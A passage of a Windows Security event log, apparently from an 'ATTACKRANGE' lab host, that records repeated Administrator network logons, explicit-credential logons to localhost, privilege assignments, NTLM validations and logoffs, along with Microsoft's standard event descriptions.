-Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245643 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xED908 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245642 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xED908 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245641 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245640 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245639 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEC488 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245638 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEC488 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245637 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245636 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245685 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF057C - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245684 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF057C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245683 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245682 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245681 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF02BE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245680 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF02BE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245679 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245678 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245677 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF01D9 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245676 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF01D9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245675 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xF01D9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245674 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245673 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logoff -OpCode=Info -RecordNumber=245672 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEF021 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245671 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEF021 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245670 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEF021 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245669 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245668 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245667 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEECB9 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245666 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0xEECB9 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245665 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x550 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245664 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:38:35 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245663 